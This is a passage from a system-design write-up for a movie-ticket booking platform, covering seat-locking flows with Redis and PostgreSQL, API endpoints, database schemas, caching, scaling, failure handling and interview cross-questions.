│  │        Cancellation Manager                   │   │
│  │                                                │   │
│  │  cancelBooking(bookingId)                     │   │
│  │  - Validate cancellation policy               │   │
│  │  - Update seat status (AVAILABLE)            │   │
│  │  - Initiate refund                            │   │
│  │  - Update booking status                      │   │
│  └──────────────────────────────────────────────┘   │
└───────────────────────────────────────────────────────┘

4. Data Flow

4.1 Browse & Search Flow

User → API Gateway → Catalog Service → Cache/DB → Response
                           │
                           ├─→ Check Redis Cache (theaters, movies)
                           │      └─→ Cache Hit → Return
                           │
                           └─→ Cache Miss → PostgreSQL
                                  └─→ Update Cache → Return

4.2 Seat Selection & Locking Flow (CRITICAL)

┌──────┐                                                    ┌─────────┐
│ User │                                                    │ Backend │
└───┬──┘                                                    └────┬────┘
    │                                                            │
    │ 1. GET /shows/{showId}/seats                              │
    │────────────────────────────────────────────────────────>  │
    │                                                            │
    │ 2. Return seat map (Available/Booked/Locked)             │
    │ <────────────────────────────────────────────────────────│
    │   (Query Redis + DB for current status)                  │
    │                                                            │
    │ 3. User clicks seats B2, B3                               │
    │                                                            │
    │ 4. POST /bookings/lock                                    │
    │    { showId, seatIds: [B2, B3], userId }                 │
    │────────────────────────────────────────────────────────>  │
    │                                                            │
    │              5. DISTRIBUTED LOCK ACQUISITION              │
    │                                                            │
    │              ┌─────────────────────────────┐             │
    │              │ Redis Distributed Lock      │             │
    │              │                              │             │
    │              │ SETNX show:123:seat:B2      │             │
    │              │ userId:456 EX 600           │             │
    │              │                              │             │
    │              │ If success → Lock acquired  │             │
    │              │ If fail → Seat locked       │             │
    │              └─────────────────────────────┘             │
    │                                                            │
    │              6. Update seat_locks table                   │
    │              INSERT INTO seat_locks                       │
    │              (show_id, seat_id, user_id,                 │
    │               locked_at, expires_at)                      │
    │                                                            │
    │ 7. Response: { lockId, expiresAt, seats[] }              │
    │ <────────────────────────────────────────────────────────│
    │                                                            │
    │ 8. Timer starts: 10:00 countdown                          │
    │                                                            │
    │ 9. Periodic lock extension (every 2 mins)                │
    │    PUT /bookings/lock/{lockId}/extend                     │
    │────────────────────────────────────────────────────────>  │
    │ <────────────────────────────────────────────────────────│
    │                                                            │

4.3 Booking & Payment Flow

┌──────┐      ┌─────────┐      ┌─────────┐      ┌──────────┐
│ User │      │ Booking │      │ Payment │      │ Gateway  │
└───┬──┘      └────┬────┘      └────┬────┘      └────┬─────┘
    │              │                 │                │
    │ 1. Pay Now   │                 │                │
    │─────────────>│                 │                │
    │              │                 │                │
    │              │ 2. Validate Lock│                │
    │              │    ownership    │                │
    │              │                 │                │
    │              │ 3. Create Booking (PENDING)      │
    │              │    └─> DB Transaction           │
    │              │                 │                │
    │              │ 4. Initiate Payment              │
    │              │────────────────>│                │
    │              │                 │                │
    │              │                 │ 5. Process     │
    │              │                 │───────────────>│
    │              │                 │                │
    │              │                 │ 6. Response    │
    │              │                 │<───────────────│
    │              │                 │                │
    │              │ 7. Payment Success               │
    │              │<────────────────│                │
    │              │                 │                │
    │              │ 8. Confirm Booking               │
    │              │    BEGIN TRANSACTION             │
    │              │    - Update booking: CONFIRMED   │
    │              │    - Update seats: BOOKED        │
    │              │    - Release Redis lock          │
    │              │    - Delete seat_locks record    │
    │              │    COMMIT                        │
    │              │                 │                │
    │              │ 9. Generate E-ticket             │
    │              │    Publish event → Notification  │
    │              │                 │                │
    │ 10. Confirmation                                │
    │<─────────────│                 │                │
    │              │                 │                │
    │              │                 │                │
    ▼              ▼                 ▼                ▼

FAILURE SCENARIO:
    │              │                 │                │
    │              │ Payment Failed  │                │
    │              │<────────────────│                │
    │              │                 │                │
    │              │ Update booking: FAILED           │
    │              │ Release seat locks               │
    │              │ Seats → AVAILABLE               │
    │              │                 │                │
    │ Retry/Cancel │                 │                │
    │<─────────────│                 │                │

4.4 Lock Expiration & Cleanup

┌─────────────────────────────────────────────────────────┐
│          Background Job: Lock Cleanup                   │
│                                                          │
│  Runs every 1 minute                                    │
│                                                          │
│  1. Query seat_locks WHERE expires_at < NOW()          │
│                                                          │
│  2. For each expired lock:                              │
│     - Remove Redis lock                                 │
│     - Update seat status → AVAILABLE                    │
│     - Mark seat_lock → EXPIRED                          │
│     - Publish event (seat available)                    │
│                                                          │
│  3. Clean up orphaned locks (Redis exists, DB missing) │
│                                                          │
└─────────────────────────────────────────────────────────┘

5. API Design & Communication Protocols

5.1 Core APIs

Catalog APIs

GET    /api/v1/movies
       ?city=Mumbai&date=2025-12-25
       Response: { movies: [{id, title, poster, rating, languages}] }

GET    /api/v1/movies/{movieId}/shows
       ?city=Mumbai&date=2025-12-25
       Response: { theaters: [{id, name, shows: [{id, time, price}]}] }

GET    /api/v1/shows/{showId}/seats
       Response: {
         layout: { rows: 10, cols: 20 },
         seats: [
           {id: "A1", status: "AVAILABLE|BOOKED|LOCKED", price: 200},
           ...
         ]
       }

Booking APIs (CRITICAL)

POST   /api/v1/bookings/lock
       Body: { showId, seatIds: ["A1", "A2"], userId }
       Response: {
         lockId: "uuid",
         expiresAt: "2025-12-22T10:15:00Z",
         seats: [{id, price}],
         totalAmount: 400
       }
       Status: 200 OK | 409 Conflict (seats already locked)

PUT    /api/v1/bookings/lock/{lockId}/extend
       Response: { expiresAt: "2025-12-22T10:20:00Z" }
       Status: 200 OK | 404 Not Found | 410 Gone (expired)

DELETE /api/v1/bookings/lock/{lockId}
       (User cancels seat selection)
       Response: { success: true }

POST   /api/v1/bookings
       Body: {
         lockId: "uuid",
         paymentMethod: "CARD",
         ...
       }
       Response: {
         bookingId: "uuid",
         status: "PENDING",
         paymentUrl: "https://..."
       }
       Status: 201 Created | 400 Bad Request | 409 Lock Invalid

GET    /api/v1/bookings/{bookingId}
       Response: {
         id, status, seats, amount,
         showDetails, paymentStatus, ticket
       }

POST   /api/v1/bookings/{bookingId}/confirm
       (Called by payment webhook)
       Body: { paymentId, status: "SUCCESS" }
       Response: { bookingStatus: "CONFIRMED", ticketUrl }

DELETE /api/v1/bookings/{bookingId}
       (Cancellation)
       Response: { refundId, refundAmount, status }

Payment APIs

POST   /api/v1/payments
       Body: { bookingId, amount, method, ... }
       Response: {
         paymentId,
         gatewayUrl: "https://razorpay.com/...",
         status: "INITIATED"
       }

POST   /api/v1/payments/webhook
       (Callback from payment gateway)
       Body: { paymentId, status, ... }
       Response: { received: true }

POST   /api/v1/payments/{paymentId}/refund
       Body: { amount, reason }
       Response: { refundId, status, estimatedDate }

5.2 Communication Protocols

REST APIs

Primary protocol for client-server communication
Stateless, cacheable responses
Standard HTTP methods (GET, POST, PUT, DELETE)

WebSockets (Optional Enhancement)

WS /api/v1/ws/shows/{showId}

Server → Client events:
{
  type: "SEAT_LOCKED",
  seatIds: ["A1", "A2"],
  lockedBy: "userId"
}

{
  type: "SEAT_RELEASED",
  seatIds: ["A1", "A2"]
}

{
  type: "SEAT_BOOKED",
  seatIds: ["A1", "A2"]
}

Use case: Real-time seat availability updates
Alternative: Short polling (every 5-10s)

Message Queue (Kafka)

Topics:
- booking.created
- booking.confirmed
- booking.cancelled
- payment.success
- payment.failed
- notification.email
- notification.sms

Consumers:
- Notification Service (email, SMS)
- Analytics Service
- Audit Log Service

6. Database Design

6.1 Schema Design

Users Table

CREATE TABLE users (
    id UUID PRIMARY KEY,
    email VARCHAR(255) UNIQUE NOT NULL,
    phone VARCHAR(20) UNIQUE,
    name VARCHAR(255),
    password_hash VARCHAR(255),
    created_at TIMESTAMP DEFAULT NOW(),
    updated_at TIMESTAMP DEFAULT NOW(),
    INDEX idx_email (email),
    INDEX idx_phone (phone)
);

Movies Table

CREATE TABLE movies (
    id UUID PRIMARY KEY,
    title VARCHAR(255) NOT NULL,
    description TEXT,
    duration_minutes INT,
    language VARCHAR(50),
    genre VARCHAR(100),
    rating DECIMAL(2,1),
    release_date DATE,
    poster_url VARCHAR(500),
    created_at TIMESTAMP DEFAULT NOW(),
    INDEX idx_release_date (release_date)
);

Theaters Table

CREATE TABLE theaters (
    id UUID PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    city VARCHAR(100),
    address TEXT,
    latitude DECIMAL(10, 8),
    longitude DECIMAL(11, 8),
    total_screens INT,
    created_at TIMESTAMP DEFAULT NOW(),
    INDEX idx_city (city)
);

Screens Table

CREATE TABLE screens (
    id UUID PRIMARY KEY,
    theater_id UUID REFERENCES theaters(id),
    name VARCHAR(100),
    total_seats INT,
    seat_layout JSON, -- {rows: 10, cols: 20, types: {...}}
    created_at TIMESTAMP DEFAULT NOW(),
    INDEX idx_theater (theater_id)
);

Shows Table

CREATE TABLE shows (
    id UUID PRIMARY KEY,
    movie_id UUID REFERENCES movies(id),
    screen_id UUID REFERENCES screens(id),
    show_time TIMESTAMP NOT NULL,
    base_price DECIMAL(10, 2),
    status VARCHAR(20) DEFAULT 'ACTIVE', -- ACTIVE, CANCELLED
    created_at TIMESTAMP DEFAULT NOW(),
    INDEX idx_movie_time (movie_id, show_time),
    INDEX idx_screen_time (screen_id, show_time),
    INDEX idx_show_time (show_time)
);

Seats Table (CRITICAL)

CREATE TABLE seats (
    id UUID PRIMARY KEY,
    screen_id UUID REFERENCES screens(id),
    seat_number VARCHAR(10) NOT NULL, -- "A1", "B2"
    row_name VARCHAR(10),
    seat_type VARCHAR(20), -- REGULAR, PREMIUM, VIP
    price_multiplier DECIMAL(3, 2) DEFAULT 1.0,
    created_at TIMESTAMP DEFAULT NOW(),
    UNIQUE (screen_id, seat_number),
    INDEX idx_screen_seat (screen_id, seat_number)
);

Show Seats Table (CRITICAL - Tracks seat status per show)

CREATE TABLE show_seats (
    id UUID PRIMARY KEY,
    show_id UUID REFERENCES shows(id),
    seat_id UUID REFERENCES seats(id),
    status VARCHAR(20) DEFAULT 'AVAILABLE',
    -- AVAILABLE, LOCKED, BOOKED, BLOCKED
    booking_id UUID REFERENCES bookings(id),
    locked_by UUID REFERENCES users(id),
    locked_at TIMESTAMP,
    version INT DEFAULT 0, -- Optimistic locking
    updated_at TIMESTAMP DEFAULT NOW(),
    UNIQUE (show_id, seat_id),
    INDEX idx_show_status (show_id, status),
    INDEX idx_booking (booking_id)
);

Seat Locks Table (CRITICAL - Temporary locks)

CREATE TABLE seat_locks (
    id UUID PRIMARY KEY,
    show_id UUID REFERENCES shows(id),
    seat_id UUID REFERENCES seats(id),
    user_id UUID REFERENCES users(id),
    locked_at TIMESTAMP DEFAULT NOW(),
    expires_at TIMESTAMP NOT NULL,
    status VARCHAR(20) DEFAULT 'ACTIVE', -- ACTIVE, EXPIRED, RELEASED
    created_at TIMESTAMP DEFAULT NOW(),
    updated_at TIMESTAMP DEFAULT NOW(),
    INDEX idx_expiry (expires_at, status),
    INDEX idx_user_show (user_id, show_id),
    UNIQUE (show_id, seat_id, status)
    -- Prevent multiple active locks on same seat
);

Bookings Table (CRITICAL)

CREATE TABLE bookings (
    id UUID PRIMARY KEY,
    user_id UUID REFERENCES users(id),
    show_id UUID REFERENCES shows(id),
    booking_reference VARCHAR(20) UNIQUE,
    total_amount DECIMAL(10, 2),
    booking_status VARCHAR(20) DEFAULT 'PENDING',
    -- PENDING, CONFIRMED, CANCELLED, FAILED
    payment_status VARCHAR(20) DEFAULT 'PENDING',
    -- PENDING, SUCCESS, FAILED, REFUNDED
    payment_id UUID,
    booked_at TIMESTAMP DEFAULT NOW(),
    confirmed_at TIMESTAMP,
    cancelled_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT NOW(),
    updated_at TIMESTAMP DEFAULT NOW(),
    INDEX idx_user (user_id),
    INDEX idx_show (show_id),
    INDEX idx_reference (booking_reference),
    INDEX idx_status (booking_status)
);

Booking Seats Table

CREATE TABLE booking_seats (
    id UUID PRIMARY KEY,
    booking_id UUID REFERENCES bookings(id),
    seat_id UUID REFERENCES seats(id),
    price DECIMAL(10, 2),
    created_at TIMESTAMP DEFAULT NOW(),
    INDEX idx_booking (booking_id)
);

Payments Table

CREATE TABLE payments (
    id UUID PRIMARY KEY,
    booking_id UUID REFERENCES bookings(id),
    amount DECIMAL(10, 2),
    payment_method VARCHAR(50), -- CARD, UPI, WALLET, NETBANKING
    gateway VARCHAR(50), -- RAZORPAY, STRIPE, PAYTM
    gateway_transaction_id VARCHAR(255),
    status VARCHAR(20), -- INITIATED, SUCCESS, FAILED, REFUNDED
    initiated_at TIMESTAMP DEFAULT NOW(),
    completed_at TIMESTAMP,
    refund_id UUID,
    created_at TIMESTAMP DEFAULT NOW(),
    updated_at TIMESTAMP DEFAULT NOW(),
    INDEX idx_booking (booking_id),
    INDEX idx_gateway_txn (gateway_transaction_id)
);

6.2 Seat Locking Mechanism (CRITICAL)

Seat locking is the most critical correctness problem in a ticketing system.

The system must enforce one non-negotiable invariant:

A seat can be sold to at most one user — even during crashes, retries, or peak traffic.

This is a financially sensitive distributed system, not a UI feature.

6.2.1 First Principles

Seat locking must satisfy three fundamental constraints:

Atomicity – Two users must never hold the same seat at the same time
Durability – Locks must survive crashes and restarts
Expiry – Abandoned locks must be automatically released

Only a transactional database can guarantee all three.

Therefore:

The database is the single source of truth for seat ownership.

Redis is used only for performance and contention control.

6.2.2 Single Source of Truth

Each seat has exactly one authoritative state stored in the database:

AVAILABLE
LOCKED
BOOKED

A seat always follows this lifecycle:

"AVAILABLE" ==> "LOCKED" ==> "BOOKED"

A LOCKED seat stores:

which user owns it
when the lock expires

This guarantees:

no double booking
crash safety
automatic recovery

6.2.3 How Seat Locking Works

When a user selects a seat:

The system attempts to lock the seat in the database
The database checks:
- Is the seat AVAILABLE?
- Or was it LOCKED but already expired?
If yes, the seat becomes LOCKED for this user with a 10-minute expiry
If no, the seat is already taken and the user is rejected

This operation is atomic, so even if thousands of users click the same seat at the same time, only one will succeed.

6.2.4 Why Redis Is Still Used

During peak demand, many users may click the same popular seats simultaneously.

To avoid overwhelming the database, Redis acts as a high-speed contention filter:

Temporarily marks hot seats as busy
Rejects duplicate clicks early
Prevents thundering-herd traffic

Redis never decides who owns a seat.

It only protects the database from overload.

6.2.5 Crash and Failure Safety

If the application crashes:

The database still knows who owns every seat
Expired locks are automatically reclaimed

If Redis crashes:

The database still enforces correctness

This design prevents:

ghost locks
double bookings
inconsistent state

6.2.6 Final Booking

After payment succeeds:

Only the user holding the seat lock can complete the booking
The seat transitions from LOCKED to BOOKED
All other users are rejected

This ensures money and inventory never diverge.

Why This Design Works

This model is used by:

Airlines
Concert ticketing platforms
Railways
Movie booking systems

Because:

Redis improves performance.

The database guarantees correctness.

7. Caching Strategy

7.1 Cache Layers

L1: Browser Cache

- Static assets (images, CSS, JS): 1 week
- Movie posters: 1 day
- Theater info: 1 day

L2: CDN Cache (CloudFront/Cloudflare)

- Movie images, posters: 7 days
- Theater images: 7 days
- Static pages: 1 hour

L3: Redis Cache (Application Layer)

Key Patterns:

1. Movie Catalog
   Key: movie:{movieId}
   TTL: 1 hour
   Value: {id, title, description, poster, rating, ...}

2. Theater Info
   Key: theater:{theaterId}
   TTL: 1 hour
   Value: {id, name, city, screens, ...}

3. Show Listings
   Key: shows:city:{city}:date:{date}:movie:{movieId}
   TTL: 5 minutes
   Value: [{showId, theater, time, price, ...}]

4. Seat Availability (HOT DATA)
   Key: seats:show:{showId}
   TTL: 30 seconds (short due to frequent updates)
   Value: {
     available: ["A1", "A2", ...],
     booked: ["B1", "B2", ...],
     locked: ["C1", "C2", ...]
   }

5. Seat Locks (CRITICAL)
   Key: lock:show:{showId}:seat:{seatId}
   TTL: 10 minutes
   Value: {userId}:{lockId}

6. User Sessions
   Key: session:{sessionId}
   TTL: 24 hours
   Value: {userId, email, ...}

7. Booking Details
   Key: booking:{bookingId}
   TTL: 1 hour
   Value: {id, status, seats, amount, ...}

7.2 Cache Invalidation Strategy

Write-Through Pattern (for critical data):
- Update DB first
- Then update cache
- Ensures consistency

Write-Behind Pattern (for analytics):
- Update cache first
- Async update DB
- Better performance

Cache-Aside Pattern (for reads):
- Check cache first
- On miss, fetch from DB
- Update cache
- Return to client

Invalidation Events:
1. Seat booked → Invalidate seats:show:{showId}
2. Show cancelled → Invalidate all show-related keys
3. Theater updated → Invalidate theater:{id}
4. Movie updated → Invalidate movie:{id}

Invalidation Flow:
┌──────────┐      ┌──────────┐      ┌─────────┐
│  Service │─────>│ Database │─────>│  Cache  │
│          │      │  UPDATE  │      │ INVALID │
└──────────┘      └──────────┘      └─────────┘
     │                                     │
     └─────> Publish Event ────────────────┘
             (Kafka: cache.invalidate)

7.3 Cache Warming

Pre-populate cache before peak hours:

1. Popular movies → Cache at midnight
2. Weekend shows → Cache on Friday evening
3. New releases → Cache 1 day before
4. Trending theaters → Cache every hour

Background Job:
- Runs every hour
- Identifies popular content
- Warms cache proactively

8. State Management

8.1 Frontend State (React Example)

// Global State (Redux/Context)
{
  auth: {
    user: { id, email, name },
    token: "jwt-token",
    isAuthenticated: true
  },

  booking: {
    selectedMovie: { id, title, poster },
    selectedShow: { id, time, theater, price },
    selectedSeats: ["A1", "A2"],
    lockId: "uuid",
    lockExpiresAt: "2025-12-22T10:15:00Z",
    totalAmount: 400,
    bookingStatus: "SEAT_LOCKED" | "PAYMENT_PENDING" | "CONFIRMED"
  },

  seatMap: {
    showId: "123",
    layout: { rows: 10, cols: 20 },
    seats: {
      "A1": { id: "A1", status: "AVAILABLE", price: 200 },
      "A2": { id: "A2", status: "LOCKED", price: 200 },
      "B1": { id: "B1", status: "BOOKED", price: 200 },
      ...
    },
    lastUpdated: "2025-12-22T10:05:00Z"
  },

  ui: {
    loading: false,
    error: null,
    modal: { isOpen: false, type: null }
  }
}

// State Machine for Booking Flow
IDLE → SELECTING_SEATS → SEATS_LOCKED → PAYMENT_PENDING
  → CONFIRMED | FAILED → IDLE

Transitions:
- IDLE → SELECTING_SEATS: User clicks seat
- SELECTING_SEATS → SEATS_LOCKED: Lock API success
- SEATS_LOCKED → PAYMENT_PENDING: User clicks Pay
- PAYMENT_PENDING → CONFIRMED: Payment success
- PAYMENT_PENDING → FAILED: Payment failed
- Any state → IDLE: Lock expires or user cancels

8.2 Backend State Management

Stateless Services:
- All booking state stored in DB + Redis
- No in-memory state (enables horizontal scaling)
- Session stored in Redis

Lock State:
- Redis: Distributed lock (source of truth)
- PostgreSQL: Audit trail and backup
- Eventual consistency acceptable for lock cleanup

Booking State:
- PostgreSQL: Source of truth
- Redis: Cache for fast reads
- Strong consistency required

Payment State:
- PostgreSQL: Transactional records
- Idempotency keys: Prevent duplicate payments
- State machine: INITIATED → PROCESSING → SUCCESS/FAILED

9. Performance Optimization

9.1 Database Optimizations

Indexing Strategy

-- High-priority indexes for frequent queries

-- Seat availability query (HOT PATH)
CREATE INDEX idx_show_seats_status
ON show_seats(show_id, status)
INCLUDE (seat_id);

-- Lock expiry cleanup
CREATE INDEX idx_seat_locks_expiry
ON seat_locks(expires_at, status)
WHERE status = 'ACTIVE';

-- User booking history
CREATE INDEX idx_bookings_user_date
ON bookings(user_id, booked_at DESC);

-- Show listings by city and date
CREATE INDEX idx_shows_city_date
ON shows(city, show_time)
WHERE status = 'ACTIVE';

-- Composite index for common join
CREATE INDEX idx_show_seats_composite
ON show_seats(show_id, seat_id, status, booking_id);

Query Optimization

-- Before: N+1 query problem
SELECT * FROM bookings WHERE user_id = ?;
-- Then for each booking:
SELECT * FROM booking_seats WHERE booking_id = ?;

-- After: Single query with JOIN
SELECT
    b.*,
    json_agg(bs.*) as seats
FROM bookings b
LEFT JOIN booking_seats bs ON b.id = bs.booking_id
WHERE b.user_id = ?
GROUP BY b.id;

Database Partitioning

-- Partition bookings by month (for historical data)
CREATE TABLE bookings_2025_12
PARTITION OF bookings
FOR VALUES FROM ('2025-12-01') TO ('2026-01-01');

-- Partition show_seats by show_id range
-- (for high-volume shows)

Connection Pooling

PgBouncer/HikariCP:
- Pool size: 50-100 connections per service
- Max connections: 500 (total)
- Idle timeout: 10 minutes
- Connection reuse

9.2 Application-Level Optimizations

Seat Availability Query Optimization

// Instead of querying all seats individually:
// BAD: 200 queries for 200 seats
for (let seat of seats) {
  const status = await getSeatStatus(showId, seat.id);
}

// GOOD: Single query for all seats
const seatStatuses = await getSeatStatusBatch(showId, seatIds);

// BEST: Cache in Redis with Lua script
const seatMap = await redis.hgetall(`seats:show:${showId}`);

Optimistic Locking

// Prevent lost updates during concurrent modifications
async function updateShowSeat(showId, seatId, newStatus, currentVersion) {
  const result = await db.query(
    `
    UPDATE show_seats
    SET status = $1, version = version + 1
    WHERE show_id = $2
      AND seat_id = $3
      AND version = $4
    RETURNING *
  `,
    [newStatus, showId, seatId, currentVersion]
  );

  if (result.rowCount === 0) {
    throw new OptimisticLockError("Seat was modified by another transaction");
  }

  return result.rows[0];
}

Batch Processing

// Lock multiple seats in a single transaction
async function acquireMultipleSeats(showId, seatIds, userId) {
  const client = await pool.connect();

  try {
    await client.query("BEGIN");

    // 1. Acquire Redis locks (pipeline)
    const pipeline = redis.pipeline();
    seatIds.forEach((seatId) => {
      pipeline.set(
        `lock:show:${showId}:seat:${seatId}`,
        `${userId}:${lockId}`,
        "NX",
        "EX",
        600
      );
    });
    const results = await pipeline.exec();

    // 2. Update DB in single query
    const query = `
      UPDATE show_seats
      SET status = 'LOCKED', locked_by = $1, version = version + 1
      WHERE show_id = $2 AND seat_id = ANY($3) AND status = 'AVAILABLE'
      RETURNING *
    `;
    const dbResult = await client.query(query, [userId, showId, seatIds]);

    await client.query("COMMIT");
    return dbResult.rows;
  } catch (err) {
    await client.query("ROLLBACK");
    throw err;
  } finally {
    client.release();
  }
}

9.3 Scaling Strategies

Horizontal Scaling

Load Balancer
    │
    ├─── Booking Service (Instance 1)
    ├─── Booking Service (Instance 2)
    ├─── Booking Service (Instance 3)
    └─── Booking Service (Instance 4)

All instances are stateless
Shared Redis for locks
Shared PostgreSQL (with read replicas)

Database Scaling

Write Operations → Primary DB
Read Operations → Read Replicas (3x)

Replication Lag Handling:
- Critical reads (seat status) → Primary
- Non-critical reads (movie catalog) → Replicas
- Read-after-write consistency for user's own bookings

Redis Scaling

Redis Cluster (for high availability):
- 3 master nodes (sharded by show_id)
- 3 replica nodes
- Sentinel for failover

Sharding Strategy:
- Lock keys: Shard by show_id
- Cache keys: Shard by entity type
- Session keys: Shard by user_id

9.4 Rate Limiting

API Gateway Level:
- 100 requests/minute per user (general)
- 10 lock requests/minute per user (prevent abuse)
- 5 payment requests/minute per user

Service Level (Token Bucket):
- Seat selection: 20/sec per show
- Booking creation: 10/sec per show
- Lock extension: 5/sec per user

Distributed Rate Limiting (Redis):
Key: ratelimit:user:{userId}:{endpoint}
Value: Request count
TTL: 60 seconds

10. Error Handling & Edge Cases

10.1 Error Scenarios

Seat Lock Failures

Error: Seat Already Locked
Cause: Another user locked the seat
Response: 409 Conflict
{
  "error": "SEAT_UNAVAILABLE",
  "message": "Selected seats are no longer available",
  "unavailableSeats": ["A1", "A2"],
  "alternativeSeats": ["A3", "A4"]
}

Action:
- Show user which seats are taken
- Suggest nearby available seats
- Allow reselection

Error: Lock Acquisition Timeout
Cause: Redis unavailable or high contention
Response: 503 Service Unavailable
{
  "error": "SERVICE_TEMPORARILY_UNAVAILABLE",
  "message": "Unable to lock seats. Please try again.",
  "retryAfter": 5
}

Action:
- Automatic retry with exponential backoff
- Circuit breaker to prevent cascading failures
- Fallback to database-only locking (slower but works)

Error: Lock Expired During Payment
Cause: User took too long to complete payment
Response: 410 Gone
{
  "error": "LOCK_EXPIRED",
  "message": "Your seat selection has expired. Please select seats again.",
  "lockExpiresAt": "2025-12-22T10:15:00Z"
}

Action:
- Release lock
- Clear user's selection
- Redirect to seat selection
- Optionally: Auto-reselect same seats if available

Payment Failures

Error: Payment Gateway Timeout
Cause: External gateway is slow/down
Response: 504 Gateway Timeout

Action:
1. Keep seat lock active
2. Mark payment as PENDING
3. Poll gateway status (webhook backup)
4. Extend lock if needed
5. If confirmed late: Complete booking
6. If failed: Release lock and retry payment

Error: Duplicate Payment
Cause: User clicks Pay button multiple times
Prevention: Idempotency key

Implementation:
POST /payments
Headers: {
  "Idempotency-Key": "uuid-from-client"
}

Server checks:
- If key exists → Return existing payment response
- If key new → Process payment

Error: Payment Success but Booking Failed
Cause: DB transaction fails after payment
Response: 500 Internal Server Error

Recovery:
1. Log to critical alert system
2. Mark payment as SUCCESS
3. Retry booking creation (up to 3 times)
4. If still fails:
   - Manual intervention queue
   - Auto-refund after 1 hour
   - Notify customer support

Concurrency Issues

Error: Double Booking (CRITICAL BUG)
Root Cause: Race condition in lock acquisition

Scenario:
T1: User A checks seat availability → AVAILABLE
T2: User B checks seat availability → AVAILABLE
T3: User A acquires lock → SUCCESS
T4: User B acquires lock → Should FAIL but succeeds (BUG!)

Prevention:
1. Atomic Redis SETNX operation
2. Database row-level locking (FOR UPDATE)
3. Optimistic locking with version field
4. Distributed transaction coordinator

Code:
-- PostgreSQL row lock
BEGIN;
SELECT * FROM show_seats
WHERE show_id = ? AND seat_id = ?
FOR UPDATE NOWAIT; -- Fails immediately if locked

UPDATE show_seats
SET status = 'LOCKED', version = version + 1
WHERE show_id = ? AND seat_id = ? AND version = ?;
COMMIT;

10.2 Edge Cases

Case 1: Lock Leakage

Problem: User closes browser/app during seat selection
Impact: Seats remain locked for full timeout (10 mins)

Solutions:
1. Heartbeat mechanism:
   - Client sends heartbeat every 30s
   - Server extends lock on heartbeat
   - No heartbeat → Release lock after 2 mins

2. beforeunload event:
   window.addEventListener('beforeunload', () => {
     navigator.sendBeacon('/api/bookings/lock/release', { lockId });
   });

3. Background job: Clean up locks with no heartbeat

Case 2: Payment Webhook Delay

Problem: Payment succeeds but webhook delayed/lost
Impact: Booking stuck in PENDING, seats locked

Solutions:
1. Polling fallback:
   - After payment redirect, poll gateway every 5s
   - Max 12 attempts (1 minute)

2. Reconciliation job:
   - Runs every 5 minutes
   - Finds PENDING payments > 10 mins old
   - Queries gateway API directly
   - Updates booking status

3. Webhook retry:
   - Configure gateway to retry 3 times
   - Exponential backoff: 30s, 2m, 10m

Case 3: Seat Lock Extension Race

Problem: Lock expires during payment processing
Impact: Another user can book the same seat

Solution:
1. Extend lock before payment initiation:
   - Old expiry: 10:15:00
   - New expiry: 10:20:00 (add 5 mins)

2. Payment timeout < Lock timeout:
   - Lock timeout: 10 mins
   - Payment timeout: 5 mins
   - Buffer: 5 mins for processing

3. Lock ownership validation:
   - Before confirming booking, check lock still valid
   - If expired: Fail booking, initiate refund

Case 4: High Traffic Show (Avengers, IPL)

Problem: 10,000 users trying to book 200 seats
Impact: System overload, poor user experience

Solutions:
1. Virtual Waiting Room:
   - Queue users before show page
   - Token-based access
   - Fair ordering (FIFO/random)

2. Rate limiting per show:
   - Max 50 concurrent seat selections per show
   - Queue others
   - Show position in queue

3. Seat pooling:
   - Release seats in batches (50 seats every 2 mins)
   - Prevents instant sell-out
   - More users get a chance

4. CDN for seat map:
   - Cache seat availability
   - Update every 2-3 seconds
   - Eventual consistency acceptable

Case 5: Refund After Seat Rebooked

Problem: User cancels, seat released, another user books, first user claims refund failed
Impact: Potential dispute

Solution:
1. Idempotent refund:
   - Check booking status before refund
   - If already refunded → Return existing refund ID

2. Audit trail:
   - Log all state changes with timestamps
   - Who released seat, who booked it
   - Proof of transaction order

3. Refund window:
   - Allow cancellation up to 2 hours before show
   - After that: No refund (policy-based)

Case 6: System Clock Skew

Problem: Different servers have different times
Impact: Lock expiry inconsistencies

Solutions:
1. NTP synchronization across all servers
2. Use database timestamp (single source of truth)
3. Redis TTL (independent of system clock)
4. Timestamp validation in critical operations

Case 7: Partial Seat Lock Failure

Problem: User selects 5 seats, only 3 get locked
Impact: Inconsistent state

Solution:
1. All-or-nothing locking:
   BEGIN TRANSACTION;
   -- Lock all seats or rollback
   FOR each seat:
     IF NOT lockable: ROLLBACK;
   COMMIT;

2. Compensating transaction:
   IF partial_success:
     Release all acquired locks
     Return error to user

3. Validation before UI update:
   Only show success if ALL seats locked

10.3 Monitoring & Alerting

Critical Metrics:
1. Lock Acquisition Success Rate
   - Target: > 95%
   - Alert: < 90%

2. Booking Confirmation Time
   - Target: < 2s
   - Alert: > 5s

3. Payment Success Rate
   - Target: > 98%
   - Alert: < 95%

4. Lock Leakage Rate
   - Target: < 2%
   - Alert: > 5%

5. Double Booking Incidents
   - Target: 0
   - Alert: > 0 (CRITICAL)

6. API Latency (P99)
   - Seat API: < 200ms
   - Lock API: < 500ms
   - Booking API: < 1s

Dashboard:
- Real-time seat availability per show
- Active locks count
- Payment processing queue
- Error rate by endpoint
- User drop-off funnel

Alerts:
- PagerDuty for critical errors
- Slack for warnings
- Email for daily reports

11. Interview Cross-Questions

Architecture & Design

Q1: Why use Redis for seat locking instead of just database locks?

Answer:
1. Performance: Redis is in-memory, < 1ms latency vs DB 10-50ms
2. TTL Support: Automatic expiration of locks without cleanup jobs
3. Atomic Operations: SETNX guarantees atomicity without transactions
4. Scalability: Redis can handle 100K+ ops/sec, DB struggles with locks
5. Reduced DB Load: Frees DB for actual bookings, not temporary locks

Trade-off:
- Redis failure → Fallback to DB-only locking (slower but functional)
- Use Redis Cluster with replication for high availability

Q2: How do you handle the scenario where Redis crashes during peak load?

Answer:
Multi-layer approach:

1. High Availability:
   - Redis Sentinel/Cluster with 3 replicas
   - Auto-failover in < 30 seconds

2. Circuit Breaker Pattern:
   - Detect Redis failures quickly
   - Fallback to database-only locking
   - Gradual recovery when Redis back

3. Graceful Degradation:
   - Slow down seat selection (still works)
   - Increase lock timeout to compensate
   - Show notice: "High traffic, please wait"

4. Hybrid Approach:
   - Write to both Redis and DB
   - Read from Redis (fast path)
   - If Redis miss → Read from DB (slow path)

Code:
async function acquireLock(showId, seatId, userId) {
  try {
    // Try Redis first (fast)
    const locked = await redisClient.set(
      `lock:${showId}:${seatId}`, userId, 'NX', 'EX', 600
    );
    if (locked) {
